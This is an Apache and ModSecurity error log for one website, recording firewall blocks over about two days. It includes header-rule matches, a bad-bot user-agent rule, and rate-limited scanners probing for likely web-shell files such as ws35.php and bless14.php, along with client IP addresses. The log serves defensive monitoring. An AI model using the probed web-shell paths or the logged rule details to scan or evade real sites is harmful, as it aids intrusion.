[Wed Dec 31 13:02:01.958228 2025] [:error] [pid 64406:tid 64429] [client 43.165.69.68:43304] [client 43.165.69.68] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aVSuSSLRcJYP7e7OhBaqXAAAARU"]
[Wed Dec 31 13:44:41.705612 2025] [:error] [pid 48714:tid 48747] [client 221.229.106.25:41476] [client 221.229.106.25] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aVS4Sb9PcChEHWa6VitJGAAAAAI"]
[Wed Dec 31 16:43:58.307994 2025] [autoindex:error] [pid 48715:tid 48777] [client 138.197.17.1:63747] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Wed Dec 31 19:50:36.715456 2025] [:error] [pid 7576:tid 7583] [client 182.44.9.147:36580] [client 182.44.9.147] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aVUODKFUpQkpGJNxC_-5kwAAAUU"]
[Thu Jan 01 01:16:15.825868 2026] [:error] [pid 48713:tid 48742] [client 43.166.240.231:35510] [client 43.166.240.231] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aVVaX0yNMVAGtWvMliMRQQAAANg"]
[Thu Jan 01 01:21:48.558213 2026] [:error] [pid 48714:tid 48758] [client 183.171.64.249:1030] [client 183.171.64.249] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 183.171.64.249, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aVVbrL9PcChEHWa6Viu4NgAAAA0"]
[Thu Jan 01 02:01:18.000138 2026] [:error] [pid 48833:tid 48841] [client 111.172.249.49:33430] [client 111.172.249.49] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aVVk7WPnRNOqqZ1OQg8k3wAAAEY"]
[Thu Jan 01 07:02:56.479910 2026] [:error] [pid 58819:tid 58902] [client 43.166.255.102:47300] [client 43.166.255.102] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aVWroBMbLE49waxUJzO73QAAAJY"]
[Thu Jan 01 07:51:11.808681 2026] [:error] [pid 58370:tid 58393] [client 43.140.247.223:41738] [client 43.140.247.223] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aVW27zkIHVNixymRHHcNXgAAARU"]
[Thu Jan 01 08:29:32.216366 2026] [:error] [pid 58818:tid 58876] [client 43.157.147.3:43330] [client 43.157.147.3] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aVW_7Gr6b3Nsqkrqu832hQAAAFc"]
[Thu Jan 01 13:53:18.336072 2026] [:error] [pid 58924:tid 58941] [client 125.94.144.102:37929] [client 125.94.144.102] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aVYLzjYXM8NvhWQPUGssdQAAAM8"]
[Thu Jan 01 13:56:56.864818 2026] [:error] [pid 58370:tid 58381] [client 170.106.187.106:47376] [client 170.106.187.106] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aVYMqDkIHVNixymRHHdmsgAAAQk"]
[Thu Jan 01 15:08:35.910113 2026] [:error] [pid 53873:tid 53884] [client 49.51.38.193:60614] [client 49.51.38.193] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aVYdczmhp5IRNxK0rglKqgAAAYc"]
[Thu Jan 01 20:13:38.383433 2026] [:error] [pid 63889:tid 63954] [client 36.41.75.167:34692] [client 36.41.75.167] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aVZk8tU3sRpsUcz9MOBn5QAAAAg"]
[Thu Jan 01 20:29:48.044796 2026] [:error] [pid 63887:tid 63898] [client 170.106.163.84:57550] [client 170.106.163.84] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aVZovDYeTZeQR8aqQeVngwAAAEc"]
[Thu Jan 01 21:05:29.101378 2026] [:error] [pid 63981:tid 63996] [client 13.79.160.12:1457] [client 13.79.160.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxxx.php"] [unique_id "aVZxGc5Wjyl5tWjDt5K5tQAAAMw"]
[Thu Jan 01 21:05:29.604342 2026] [:error] [pid 63889:tid 63968] [client 13.79.160.12:12190] [client 13.79.160.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxxx.php"] [unique_id "aVZxGdU3sRpsUcz9MOBzPwAAABY"]
[Thu Jan 01 21:05:30.111861 2026] [:error] [pid 995:tid 1003] [client 13.79.160.12:2335] [client 13.79.160.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxxx.php"] [unique_id "aVZxGmJVFefxwdkvFzjyhQAAAQU"]
[Thu Jan 01 21:05:30.623591 2026] [:error] [pid 995:tid 1023] [client 13.79.160.12:9804] [client 13.79.160.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless14.php"] [unique_id "aVZxGmJVFefxwdkvFzjyhgAAARg"]
[Thu Jan 01 21:05:31.125015 2026] [:error] [pid 63887:tid 63913] [client 13.79.160.12:12022] [client 13.79.160.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless14.php"] [unique_id "aVZxGzYeTZeQR8aqQeVt3wAAAFY"]
[Thu Jan 01 21:05:31.627479 2026] [:error] [pid 995:tid 1007] [client 13.79.160.12:6650] [client 13.79.160.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws35.php"] [unique_id "aVZxG2JVFefxwdkvFzjyiAAAAQk"]
[Thu Jan 01 21:05:32.130131 2026] [:error] [pid 63887:tid 63903] [client 13.79.160.12:9806] [client 13.79.160.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws35.php"] [unique_id "aVZxHDYeTZeQR8aqQeVt4QAAAEw"]
[Thu Jan 01 21:05:32.628361 2026] [:error] [pid 63981:tid 64003] [client 13.79.160.12:9792] [client 13.79.160.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws35.php"] [unique_id "aVZxHM5Wjyl5tWjDt5K5uQAAANM"]
[Thu Jan 01 21:05:33.127287 2026] [:error] [pid 63981:tid 63985] [client 13.79.160.12:1434] [client 13.79.160.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws35.php"] [unique_id "aVZxHc5Wjyl5tWjDt5K5uwAAAME"]
[Thu Jan 01 21:05:33.629828 2026] [:error] [pid 63887:tid 63900] [client 13.79.160.12:3741] [client 13.79.160.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/87.php"] [unique_id "aVZxHTYeTZeQR8aqQeVt6AAAAEk"]
[Thu Jan 01 21:05:34.132842 2026] [:error] [pid 63889:tid 63955] [client 13.79.160.12:5717] [client 13.79.160.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/87.php"] [unique_id "aVZxHtU3sRpsUcz9MOBzTQAAAAk"]
[Thu Jan 01 21:05:34.631696 2026] [:error] [pid 995:tid 1000] [client 13.79.160.12:4312] [client 13.79.160.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/87.php"] [unique_id "aVZxHmJVFefxwdkvFzjyigAAAQI"]
[Thu Jan 01 21:05:35.167124 2026] [:error] [pid 63887:tid 63895] [client 13.79.160.12:4412] [client 13.79.160.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f8.php"] [unique_id "aVZxHzYeTZeQR8aqQeVt6QAAAEQ"]
[Thu Jan 01 21:05:35.667520 2026] [:error] [pid 995:tid 1012] [client 13.79.160.12:4376] [client 13.79.160.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/esp.php"] [unique_id "aVZxH2JVFefxwdkvFzjyjAAAAQ0"]
[Thu Jan 01 21:05:36.168780 2026] [:error] [pid 63981:tid 63987] [client 13.79.160.12:9797] [client 13.79.160.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/esp.php"] [unique_id "aVZxIM5Wjyl5tWjDt5K5vQAAAMM"]
[Thu Jan 01 21:05:36.667334 2026] [:error] [pid 995:tid 1004] [client 13.79.160.12:11492] [client 13.79.160.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/21x.php"] [unique_id "aVZxIGJVFefxwdkvFzjyjgAAAQY"]
[Thu Jan 01 21:05:37.164355 2026] [:error] [pid 63887:tid 63913] [client 13.79.160.12:6702] [client 13.79.160.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/21x.php"] [unique_id "aVZxITYeTZeQR8aqQeVt7QAAAFY"]
[Thu Jan 01 21:05:37.662513 2026] [:error] [pid 63889:tid 63965] [client 13.79.160.12:4769] [client 13.79.160.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/out.php"] [unique_id "aVZxIdU3sRpsUcz9MOBzTwAAABM"]
[Thu Jan 01 21:05:38.159873 2026] [:error] [pid 995:tid 1015] [client 13.79.160.12:4370] [client 13.79.160.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/out.php"] [unique_id "aVZxImJVFefxwdkvFzjykQAAARA"]
[Thu Jan 01 21:05:38.657456 2026] [:error] [pid 63981:tid 63994] [client 13.79.160.12:12217] [client 13.79.160.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/out.php"] [unique_id "aVZxIs5Wjyl5tWjDt5K5xAAAAMo"]
[Thu Jan 01 21:05:39.155354 2026] [:error] [pid 63889:tid 63953] [client 13.79.160.12:6695] [client 13.79.160.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/flower2.php"] [unique_id "aVZxI9U3sRpsUcz9MOBzUAAAAAc"]
[Thu Jan 01 21:05:39.659481 2026] [:error] [pid 63887:tid 63898] [client 13.79.160.12:3336] [client 13.79.160.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amax.php"] [unique_id "aVZxIzYeTZeQR8aqQeVt8AAAAEc"]
[Thu Jan 01 21:05:40.157116 2026] [:error] [pid 63981:tid 63984] [client 13.79.160.12:11666] [client 13.79.160.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amax.php"] [unique_id "aVZxJM5Wjyl5tWjDt5K5xQAAAMA"]
[Thu Jan 01 21:05:40.655089 2026] [:error] [pid 63887:tid 63915] [client 13.79.160.12:6716] [client 13.79.160.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amax.php"] [unique_id "aVZxJDYeTZeQR8aqQeVt8gAAAFg"]
[Thu Jan 01 21:40:14.242327 2026] [:error] [pid 995:tid 1018] [client 43.128.67.187:43776] [client 43.128.67.187] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aVZ5PmJVFefxwdkvFzj_mwAAARM"]
[Thu Jan 01 23:46:29.734841 2026] [:error] [pid 63981:tid 63987] [client 216.73.160.144:48505] [client 216.73.160.144] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aVaW1c5Wjyl5tWjDt5LnSQAAAMM"]
[Thu Jan 01 23:46:30.536150 2026] [:error] [pid 63889:tid 63956] [client 45.8.19.77:45495] [client 45.8.19.77] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/buttons.css"] [unique_id "aVaW1tU3sRpsUcz9MOCcNQAAAAo"]
[Thu Jan 01 23:46:31.385965 2026] [:error] [pid 63888:tid 63938] [client 216.73.160.145:58073] [client 216.73.160.145] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/media/system/js/core.js"] [unique_id "aVaW19oJ3YkVCYrOT1w3CwAAAJM"]
[Fri Jan 02 04:20:10.421105 2026] [:error] [pid 63208:tid 63215] [client 43.130.116.87:40574] [client 43.130.116.87] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aVbW-nKLI9INGPLzfndViQAAAMQ"]
[Fri Jan 02 05:52:00.532940 2026] [:error] [pid 63100:tid 63182] [client 4.241.192.15:11758] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws29.php"] [unique_id "aVbsgDuUXUKd3KTnKl-WeAAAAJU"]
[Fri Jan 02 05:52:01.190287 2026] [:error] [pid 63208:tid 63226] [client 4.241.192.15:11722] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws29.php"] [unique_id "aVbsgXKLI9INGPLzfnd91AAAAM8"]
[Fri Jan 02 05:52:01.549258 2026] [:error] [pid 63208:tid 63224] [client 4.241.192.15:11658] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws29.php"] [unique_id "aVbsgXKLI9INGPLzfnd91gAAAM0"]
[Fri Jan 02 05:52:01.991383 2026] [:error] [pid 63100:tid 63177] [client 4.241.192.15:11673] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws29.php"] [unique_id "aVbsgTuUXUKd3KTnKl-WegAAAJA"]
[Fri Jan 02 05:52:02.785945 2026] [:error] [pid 63208:tid 63221] [client 4.241.192.15:11762] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oo.php"] [unique_id "aVbsgnKLI9INGPLzfnd92AAAAMo"]
[Fri Jan 02 05:52:03.386227 2026] [:error] [pid 63099:tid 63144] [client 4.241.192.15:11743] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oo.php"] [unique_id "aVbsg8mCZokRPYUhzvgWlwAAAEo"]
